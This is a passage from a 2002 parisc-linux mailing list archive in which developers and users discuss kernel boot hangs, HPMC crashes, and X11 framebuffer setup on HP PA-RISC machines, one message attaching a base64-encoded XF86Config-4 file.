I remember that I do it when you suggest it and iirc it help to goes further in
the boot. But I could not confirm at 100% because I had some hpmc problem with
my b2000 test server. Sorry, i will try to solved this problem first then come
back to you.

Joel

Quoting Randolph Chung <randolph@tausq.org>:

> > I think there are two maybe three places where kdb initializes 
> > certain structures during startup. I'm going to have to check 
> > those paths to see how far it gets before dying.
> > 
> > Any comments from the crowd would be helpfull :)
> > 
> > /me goes off to add some printk's and extra check
> 
> i've been offline for a bit so i might have missed something... but
> aiui
> the symptom you've been seeing is that it hangs at the "If this is the
> last message you see" message? has anyone tried to compile a kernel
> with
> early bootup messages (there's a #define in pdc_cons.c to enable this)
> and see if they get farther?
> 
> there are some debugging stuff that you can turn on in
> arch/parisc/kernel/unwind.c ... that piece of code has caused some hangs
> 
> in the past, you might want to enable those printks as well.
> 
> randolph
> -- 
>    @..@                                         http://www.TauSq.org/
>   (----)
>  ( >__< )
>  ^^ ~~ ^^
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B180L
Date: Tue, 04 Jun 2002 18:38:15 +0200 (CEST)
Lines: 106
Approved: news@gmane.org
Message-ID: <1023208695.3cfcecf744548@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="-MOQ1023208695a016ce4d2cbd74561fb5fe136d52b1b6"
X-Trace: ger.gmane.org 1416621357 8278 80.91.229.3 (22 Nov 2014 01:55:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jlc.bardou@m6net.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 10:38:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5EC85483A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 10:38:21 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17FHK4-0001Ar-00; Tue, 04 Jun 2002 18:38:16 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14974

This message is in MIME format.

---MOQ1023208695a016ce4d2cbd74561fb5fe136d52b1b6
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Let try the attached XF86config-4 file.
It was working for me but it is a long time that I have test it anymore!
Never the less I hope it will help you.

Joel

PS: on the ml there is also a search tool that could help you (in such way) to
find more info about X.

Quoting jlc.bardou@m6net.fr:

> Hello,
> 
> I have an HP PARISC B180L with a gecko graphics card.
> What your method for config X11 on the debian 0.9.3 ?
> Because i can't do that with the method for linux on I386 with
> XF86config.
> 
> Can you help me please!
> 
> 
> -------------------------------------------
> LOFT STORY SUR TON MOBALLL !!! 
> Habille ton portable aux couleurs de Loft Story et fais-le vibrer au son
> de ton mission prfre en appelant le 08 99 707 500 (1,35 E/appel +
> 0,34 E/min)
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)

---MOQ1023208695a016ce4d2cbd74561fb5fe136d52b1b6
Content-Type: application/octet-stream; name="XF86Config-4"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="XF86Config-4"

IyMjIEJFR0lOIERFQkNPTkYgU0VDVElPTgojIFhGODZDb25maWctNCAoWEZyZWU4NiBzZXJ2ZXIg
Y29uZmlndXJhdGlvbiBmaWxlKSBnZW5lcmF0ZWQgYnkgZGV4Y29uZiwgdGhlCiMgRGViaWFuIFgg
Q29uZmlndXJhdGlvbiB0b29sLCB1c2luZyB2YWx1ZXMgZnJvbSB0aGUgZGViY29uZiBkYXRhYmFz
ZS4KIwojIEVkaXQgdGhpcyBmaWxlIHdpdGggY2F1dGlvbiwgYW5kIHNlZSB0aGUgWEY4NkNvbmZp
Zy00IG1hbnVhbCBwYWdlLgojIChUeXBlICJtYW4gWEY4NkNvbmZpZy00IiBhdCB0aGUgc2hlbGwg
cHJvbXB0LikKIwojIElmIHlvdSB3YW50IHlvdXIgY2hhbmdlcyB0byB0aGlzIGZpbGUgcHJlc2Vy
dmVkIGJ5IGRleGNvbmYsIG9ubHkgbWFrZSBjaGFuZ2VzCiMgYmVmb3JlIHRoZSAiIyMjIEJFR0lO
IERFQkNPTkYgU0VDVElPTiIgbGluZSBhYm92ZSwgYW5kL29yIGFmdGVyIHRoZQojICIjIyMgRU5E
IERFQkNPTkYgU0VDVElPTiIgbGluZSBiZWxvdy4KClNlY3Rpb24gIkZpbGVzIgoJRm9udFBhdGgJ
InVuaXgvOjcxMDAiCQkJIyBsb2NhbCBmb250IHNlcnZlcgoJIyBpZiB0aGUgbG9jYWwgZm9udCBz
ZXJ2ZXIgaGFzIHByb2JsZW1zLCB3ZSBjYW4gZmFsbCBiYWNrIG9uIHRoZXNlCglGb250UGF0aAki
L3Vzci9saWIvWDExL2ZvbnRzL21pc2MiCglGb250UGF0aAkiL3Vzci9saWIvWDExL2ZvbnRzL2N5
cmlsbGljIgoJRm9udFBhdGgJIi91c3IvbGliL1gxMS9mb250cy8xMDBkcGkvOnVuc2NhbGVkIgoJ
Rm9udFBhdGgJIi91c3IvbGliL1gxMS9mb250cy83NWRwaS86dW5zY2FsZWQiCglGb250UGF0aAki
L3Vzci9saWIvWDExL2ZvbnRzL1R5cGUxIgoJRm9udFBhdGgJIi91c3IvbGliL1gxMS9mb250cy9T
cGVlZG8iCglGb250UGF0aAkiL3Vzci9saWIvWDExL2ZvbnRzLzEwMGRwaSIKCUZvbnRQYXRoCSIv
dXNyL2xpYi9YMTEvZm9udHMvNzVkcGkiCkVuZFNlY3Rpb24KClNlY3Rpb24gIk1vZHVsZSIKCUxv
YWQJIkdMY29yZSIKCUxvYWQJImJpdG1hcCIKCUxvYWQJImRiZSIKCUxvYWQJImRkYyIKCUxvYWQJ
ImRyaSIKCUxvYWQJImV4dG1vZCIKCUxvYWQJImZyZWV0eXBlIgoJTG9hZAkiZ2x4IgoJTG9hZAki
aW50MTAiCglMb2FkCSJwZXg1IgoJTG9hZAkicmVjb3JkIgoJTG9hZAkic3BlZWRvIgoJTG9hZAki
dHlwZTEiCglMb2FkCSJ2YmUiCglMb2FkCSJ4aWUiCkVuZFNlY3Rpb24KClNlY3Rpb24gIklucHV0
RGV2aWNlIgoJSWRlbnRpZmllcgkiR2VuZXJpYyBLZXlib2FyZCIKCURyaXZlcgkJImtleWJvYXJk
IgoJT3B0aW9uCQkiQ29yZUtleWJvYXJkIgoJT3B0aW9uCQkiWGtiUnVsZXMiCSJ4ZnJlZTg2IgoJ
T3B0aW9uCQkiWGtiTW9kZWwiCSJwYzEwNCIKCU9wdGlvbgkJIlhrYkxheW91dCIJInVzIgpFbmRT
ZWN0aW9uCgpTZWN0aW9uICJJbnB1dERldmljZSIKCUlkZW50aWZpZXIJIkNvbmZpZ3VyZWQgTW91
c2UiCglEcml2ZXIJCSJtb3VzZSIKCU9wdGlvbgkJIkNvcmVQb2ludGVyIgoJT3B0aW9uCQkiRGV2
aWNlIgkJIi9kZXYvcHNhdXgiCglPcHRpb24JCSJQcm90b2NvbCIJCSJQUy8yIgoJT3B0aW9uCQki
RW11bGF0ZTNCdXR0b25zIgkidHJ1ZSIKCU9wdGlvbgkJIlpBeGlzTWFwcGluZyIJCSI0IDUiCkVu
ZFNlY3Rpb24KClNlY3Rpb24gIklucHV0RGV2aWNlIgoJSWRlbnRpZmllcgkiR2VuZXJpYyBNb3Vz
ZSIKCURyaXZlcgkJIm1vdXNlIgoJT3B0aW9uCQkiU2VuZENvcmVFdmVudHMiCSJ0cnVlIgoJT3B0
aW9uCQkiRGV2aWNlIgkJIi9kZXYvaW5wdXQvbWljZSIKCU9wdGlvbgkJIlByb3RvY29sIgkJIklt
UFMvMiIKCU9wdGlvbgkJIkVtdWxhdGUzQnV0dG9ucyIJInRydWUiCglPcHRpb24JCSJaQXhpc01h
cHBpbmciCQkiNCA1IgpFbmRTZWN0aW9uCgpTZWN0aW9uICJEZXZpY2UiCglJZGVudGlmaWVyCSJH
ZW5lcmljIFZpZGVvIENhcmQiCglEcml2ZXIJCSJmYmRldiIKCU9wdGlvbgkJIlVzZUZCRGV2IgkJ
InRydWUiCkVuZFNlY3Rpb24KClNlY3Rpb24gIk1vbml0b3IiCglJZGVudGlmaWVyCSJHZW5lcmlj
IE1vbml0b3IiCglIb3JpelN5bmMJMzAtMTAwCglWZXJ0UmVmcmVzaAk1MC0xNjAKCU9wdGlvbgkJ
IkRQTVMiCkVuZFNlY3Rpb24KClNlY3Rpb24gIlNjcmVlbiIKCUlkZW50aWZpZXIJIkRlZmF1bHQg
U2NyZWVuIgoJRGV2aWNlCQkiR2VuZXJpYyBWaWRlbyBDYXJkIgoJTW9uaXRvcgkJIkdlbmVyaWMg
TW9uaXRvciIKCURlZmF1bHREZXB0aAk4CglTdWJTZWN0aW9uICJEaXNwbGF5IgoJCURlcHRoCQkx
CgkJTW9kZXMJCSIxMjgweDEwMjQiCglFbmRTdWJTZWN0aW9uCglTdWJTZWN0aW9uICJEaXNwbGF5
IgoJCURlcHRoCQk0CgkJTW9kZXMJCSIxMjgweDEwMjQiCglFbmRTdWJTZWN0aW9uCglTdWJTZWN0
aW9uICJEaXNwbGF5IgoJCURlcHRoCQk4CgkJTW9kZXMJCSIxMjgweDEwMjQiCglFbmRTdWJTZWN0
aW9uCglTdWJTZWN0aW9uICJEaXNwbGF5IgoJCURlcHRoCQkxNQoJCU1vZGVzCQkiMTI4MHgxMDI0
IgoJRW5kU3ViU2VjdGlvbgoJU3ViU2VjdGlvbiAiRGlzcGxheSIKCQlEZXB0aAkJMTYKCQlNb2Rl
cwkJIjEyODB4MTAyNCIKCUVuZFN1YlNlY3Rpb24KCVN1YlNlY3Rpb24gIkRpc3BsYXkiCgkJRGVw
dGgJCTI0CgkJTW9kZXMJCSIxMjgweDEwMjQiCglFbmRTdWJTZWN0aW9uCkVuZFNlY3Rpb24KClNl
Y3Rpb24gIlNlcnZlckxheW91dCIKCUlkZW50aWZpZXIJIkRlZmF1bHQgTGF5b3V0IgoJU2NyZWVu
CQkiRGVmYXVsdCBTY3JlZW4iCglJbnB1dERldmljZQkiR2VuZXJpYyBLZXlib2FyZCIKCUlucHV0
RGV2aWNlCSJDb25maWd1cmVkIE1vdXNlIgoJSW5wdXREZXZpY2UJIkdlbmVyaWMgTW91c2UiCkVu
ZFNlY3Rpb24KClNlY3Rpb24gIkRSSSIKCU1vZGUJMDY2NgpFbmRTZWN0aW9uCgojIyMgRU5EIERF
QkNPTkYgU0VDVElPTgo=


---MOQ1023208695a016ce4d2cbd74561fb5fe136d52b1b6--



From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Tue, 04 Jun 2002 18:52:44 +0200 (CEST)
Lines: 81
Approved: news@gmane.org
Message-ID: <1023209564.3cfcf05ce80e8@webmail.tiscalinet.be>
References: <200206031738.g53HcNjL011765@hiauly1.hia.nrc.ca> <1023172365.3cfc5f0d1b7f7@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621357 8282 80.91.229.3 (22 Nov 2014 01:55:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:57 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	INVALID_ADDRESS@.SYNTAX-ERROR
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 10:52:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3BD0483D
	for <parisc-linux@parisc-linux.org>; Tue,  4 Jun 2002 10:52:47 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17FHY5-0001IE-00; Tue, 04 Jun 2002 18:52:45 +0200
In-Reply-To: <1023172365.3cfc5f0d1b7f7@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14975

I not yet quiet sure that is not an hardware problem but I reboot on the kernel
2.4.18-pa29 and an hpmc occurs after an some minutes without doing anything else
then let it run for itself?

Then I reboot on hpux (10.20), unfortunately no problem occurs during the 4
hours it runs.

So now I reboot in su mode to move back ext3 to ext2 my all fs.
Then reboot in mu. It works and it is on going to recompile toolchain but it is
now so slow (even badly then a 712/80).

Is there other thing to do than backup, re-mkfs, restore to recover some
performance?

Thanks in advance for advice,
    Joel

Quoting joel.soete@freebel.net:

> Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:
> 
> > > I really have no chance with this b2000:
> > > I broken first my install and now it makes a HPMC in the middle of
> > binutils
> > > build and the pim info are not clear :((
> > 
> > I'd try a new kernel first.
> 
> Very strange behaviour: 
> with some difficulties I reach to restart a kernel then I launch  my
> toolchain
> script (which failled because of __therad problem), I change the faulty
> header
> and finaly relaunch script which failled in a tar xjf (some time during
> the
> first extract of binutils, some time during the second extract of gcc32)
> what
> ever the kernel I used 2.4.18-pa24 2.4.18-pa24+lvm1.0.4
> 2.4.19-pre8-pa29?.
> 
> But thanks to the console logs grab with minicom I reach to notice the
> "BUG":
> 
> Debian GNU/Linux 3.0 palx2000 ttyS0
> 
> palx2000 login:
> 
> kernel BUG at superio.c:109!
> WARNING! Stack pointer and cr30 do not correspond!
> Dumping virtual address stack instead
> 
> Dumping Stack from 0x2ee00000 to 0x2ee00bc0:
> ...
> 
> What could the reason why the tar xjf is successfull a first time and
> when it is
> relaunched, it fails? Ext3 fs (I am not sure how can I change back to
> ext2) bash
> (which other sh may I try) ?
> 
> 
> Joel
> 
> PS: after a cleanpim it seems to be easiest to reboot?
> 
> -------------------------------------------------
> This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Tue, 4 Jun 2002 13:27:50 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20020604132750.I25630@systemhalted>
References: <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com> <20020604084440.A24973@systemhalted> <20020604154954.GA29187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621358 8289 80.91.229.3 (22 Nov 2014 01:55:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 11:28:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id A24CE483C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 11:28:01 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g54HRo126366;
	Tue, 4 Jun 2002 13:27:50 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Randolph Chung <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020604154954.GA29187@tausq.org>; from randolph@tausq.org on Tue, Jun 04, 2002 at 08:49:54AM -0700
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (71% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14976

> 
> i've been offline for a bit so i might have missed something... but aiui
> the symptom you've been seeing is that it hangs at the "If this is the
> last message you see" message? has anyone tried to compile a kernel with
> early bootup messages (there's a #define in pdc_cons.c to enable this)
> and see if they get farther?
> 
> there are some debugging stuff that you can turn on in
> arch/parisc/kernel/unwind.c ... that piece of code has caused some hangs 
> in the past, you might want to enable those printks as well.
> 
> randolph

Yeah I've seen the code in pdc_cons.c, but I didn't know about 
the issues with the stack unwinding (though I just read JDA's
comments in the code... so I'll look at that).

I'll hack on this tonight and see how far I get.
Currently my test box is turned off, and since I haven't
built my remote power switch (spp + solid state relay) ....
I can't reboot the sucker :}

Thanks to the external led I know that the box (712/60) doesn't 
get far since it never reaches the pdc soft power button 
initialization routine (__init power_init).

c.




From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb_v21 branch updated to -pa26, and kallsyms cross-compile
Date: Tue, 4 Jun 2002 19:19:23 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20020604181923.GA3570@tykepenguin.com>
References: <20020529162438.GJ9919@tykepenguin.com> <20020529132631.B3691@systemhalted> <20020529180739.GL9919@tykepenguin.com> <20020530143626.GF810@tykepenguin.com> <20020530133515.B15631@systemhalted> <20020531072849.GD1145@tykepenguin.com> <20020531085419.B18658@systemhalted> <20020604115547.GB1808@tykepenguin.com> <20020604084440.A24973@systemhalted> <20020604154954.GA29187@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621358 8292 80.91.229.3 (22 Nov 2014 01:55:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 12:19:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-5-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5C39483E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 12:19:24 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17FItv-0000vr-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 04 Jun 2002 19:19:23 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020604154954.GA29187@tausq.org>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14977

On Tue, Jun 04, 2002 at 08:49:54AM -0700, Randolph Chung wrote:
> > I think there are two maybe three places where kdb initializes 
> > certain structures during startup. I'm going to have to check 
> > those paths to see how far it gets before dying.
> > 
> > Any comments from the crowd would be helpfull :)
> > 
> > /me goes off to add some printk's and extra check
> 
> i've been offline for a bit so i might have missed something... but aiui
> the symptom you've been seeing is that it hangs at the "If this is the
> last message you see" message? has anyone tried to compile a kernel with
> early bootup messages (there's a #define in pdc_cons.c to enable this)
> and see if they get farther?
> 
> there are some debugging stuff that you can turn on in
> arch/parisc/kernel/unwind.c ... that piece of code has caused some hangs 
> in the past, you might want to enable those printks as well.


The odd thing is that is just seems to disable the FW SCSI and the serial
console. If I hook up a monitor (rather a feat of equopment mbving in my house
unfortunately!) I can see the boot getting as far as failing to mount the root
filesystem.

patrick




From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steve Pacenka <spacenka@lightlink.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] howdy and 720/50 framebuffer question
Date: 04 Jun 2002 17:33:11 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <1023226391.1465.226.camel@romano-nyswri>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621358 8295 80.91.229.3 (22 Nov 2014 01:55:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 15:33:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from romano-nyswri.cfe.cornell.edu (romano-nyswri.cfe.cornell.edu [132.236.139.186])
	by dsl2.external.hp.com (Postfix) with ESMTP id A49044838
	for <parisc-linux@lists.parisc-linux.org>; Tue,  4 Jun 2002 15:33:50 -0600 (MDT)
Original-Received: (from romano@localhost)
	by romano-nyswri.cfe.cornell.edu (8.11.6/8.8.7) id g54LXBP05632;
	Tue, 4 Jun 2002 17:33:11 -0400
X-Authentication-Warning: romano-nyswri.cfe.cornell.edu: romano set sender to spacenka@lightlink.com using -f
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14978

Greetings,

I have a couple of 720's and a couple of 735's to rehabilitate.  The
PARISC-Linux developers have done truly excellent work on the kernel and
Debian adaptations for this architecture.  If this can yield reasonable
GNU/Linux installs including X, the machines will go on display in our
recycling showroom as examples of reuse of discarded cool hardware. 
Maybe someone will then adopt them to give them new homes.

I'm stymied about X on a 720/50.  Starting from an 0.9.3 ISO which
worked fine for a base install, the default video seems to be a one bit
B&W buffer (text overlay plane?).  fbset -i says there's no device at
/dev/fb0, which does exist in the filesystem; XFree86 subsequently
doesn't load the framebuffer driver.  There's no Penguin at boot.  I've
tried later precompiled kernels through -pa33, compiling my own from
CVS, and appending video=stifb at a boot prompt with and without sti=0. 

The hardware is there:

"1. Coral SGC Graphics (10) at 0xf8000000 [1], versions 0x4, 0x0, 0x77"


This is some kind of 24 plane framebuffer, right?  I'd be satisfied with
8 bit color from it.

Any hints for additional instrumentation or settings?

-- thanks, SP
   Babbage's Basement volunteer and workstation curator
       http://www.lightlink.com/babbages/workstations.html




From - Thu Nov 08 21:22:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] howdy and 720/50 framebuffer question
Date: Wed, 05 Jun 2002 01:08:44 +0200
Organization: private
Lines: 58
Approved: news@gmane.org
Message-ID: <3CFD487C.5F74FDA6@gmx.at>
References: <1023226391.1465.226.camel@romano-nyswri>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621359 8299 80.91.229.3 (22 Nov 2014 01:55:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Steve Pacenka <spacenka@lightlink.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  4 17:08:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep12-int.chello.at (viefep12-int.chello.at [213.46.255.25])
